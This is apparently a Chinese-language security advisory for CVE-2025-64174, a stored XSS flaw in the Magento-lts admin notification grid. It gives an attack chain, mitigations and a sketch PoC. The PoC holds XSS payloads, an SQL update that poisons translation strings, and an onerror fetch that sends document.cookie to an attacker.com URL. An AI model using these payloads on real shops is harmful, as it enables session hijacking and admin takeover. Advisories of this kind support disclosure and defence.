IPBUF安全漏洞报告
English
CVE-2025-64174 CVSS 4.8 中危

CVE-2025-64174: Magento-lts 存储型XSS漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-64174
漏洞类型
存储型XSS
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Magento-lts

相关标签

存储型XSSMagento-ltsCVE-2025-64174跨站脚本内容管理框架电子商务平台权限提升会话劫持

漏洞概述

Magento-lts是一款面向Magento社区版(CE)的长期支持替代方案。该产品20.15.0及之前版本存在一处严重的存储型跨站脚本(Stored XSS)漏洞。漏洞根源在于文件app/code/core/Mage/Adminhtml/Block/Notification/Grid/Renderer/Actions.php中,未对翻译字符串和URL进行适当的HTML转义处理就直接输出到页面。当攻击者具备管理员权限并拥有直接数据库访问权限,或能够操控管理员通知源时,可以向系统注入恶意脚本代码。这些恶意代码会被永久存储在数据库中,当其他管理员查看通知或相关页面时,恶意脚本将自动执行,可能导致会话劫持、敏感信息窃取、管理员账户接管等严重后果。该漏洞已于20.16.0版本中修复。

技术细节

该漏洞为存储型XSS(Stored Cross-Site Scripting),存在于Magento-lts的通知系统渲染模块中。具体技术细节如下:

1. **漏洞位置**:app/code/core/Mage/Adminhtml/Block/Notification/Grid/Renderer/Actions.php

2. **漏洞原理**:代码在渲染管理员通知的Actions列时,直接将翻译字符串和URL输出到HTML上下文,而未进行HTML实体编码或转义处理。当翻译字符串或通知数据被污染后,恶意脚本会被存储在数据库中,并在页面渲染时执行。

3. **利用条件**:
- 攻击者需要具备管理员权限
- 需要直接数据库访问权限或能够操控管理员通知feed源
- 需诱导其他管理员查看被污染的通知

4. **攻击方式**:攻击者通过数据库直接修改翻译字符串或注入恶意通知数据,将包含<script>标签或事件处理器(如onerror、onload)的恶意内容写入系统。当管理员访问通知Grid页面时,这些恶意代码会被浏览器解析执行。

5. **影响范围**:所有访问该通知页面的管理员用户,攻击成功后可窃取其会话cookie、凭据或其他敏感信息。

攻击链分析

STEP 1
步骤1
获取管理员访问权限:攻击者获得Magento-lts管理员账户凭据
STEP 2
步骤2
数据库访问:攻击者通过SQL注入、备份文件或内部系统获得直接数据库访问权限
STEP 3
步骤3
注入恶意脚本:向core_translate表或其他相关表中注入XSS payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4
污染通知数据:通过管理员通知feed源或数据库直接修改通知内容,插入恶意脚本代码
STEP 5
步骤5
诱导受害者:等待或诱使其他管理员访问/admin/admin/notification/index/页面
STEP 6
步骤6
脚本执行:恶意脚本在受害者浏览器中自动执行,窃取会话cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64174 PoC - Magento-lts Stored XSS # This PoC demonstrates how to inject malicious script via database manipulation import requests import json # Configuration target_url = "http://target-magento.local" admin_path = "/admin" # Step 1: Login as admin with database access login_url = f"{target_url}{admin_path}/index/login" admin_session = requests.Session() # Login credentials login_data = { "username": "admin", "password": "admin_password", "form_key": "" # Get from page } # Step 2: Direct database injection via SQL (requires DB access) # Inject XSS payload into translation strings malicious_payload = '<script>alert(document.cookie)</script>' # SQL injection to poison translation data sql_payload = f""" UPDATE core_translate SET translate = '{malicious_payload}' WHERE store_id = 0 AND string LIKE '%Actions%'; """ # Step 3: Alternative - Poison notification feed # If admin has access to notification source manipulation notification_payload = { "title": "System Notification", "description": f"<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>" } # Step 4: Wait for admin to view the page # The XSS will execute when admin visits: # {target_url}/admin/admin/notification/index/ # Cleanup - Remove malicious entries after testing cleanup_sql = """ DELETE FROM core_translate WHERE translate LIKE '%<script>%'; """ print("PoC executed. XSS payload injected.") print("Waiting for administrator to access notification page...")

影响范围

Magento-lts <= 20.15.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)严格限制数据库访问权限,确保只有可信人员拥有直接数据库操作权限;2)定期检查core_translate表和notification相关表中的数据,及时发现和清理恶意内容;3)实施严格的输入验证机制;4)部署Web应用防火墙(WAF)规则检测XSS攻击特征;5)对管理员会话实施严格的安全策略,包括会话超时、IP绑定等;6)监控管理员通知页面的访问日志,关注异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表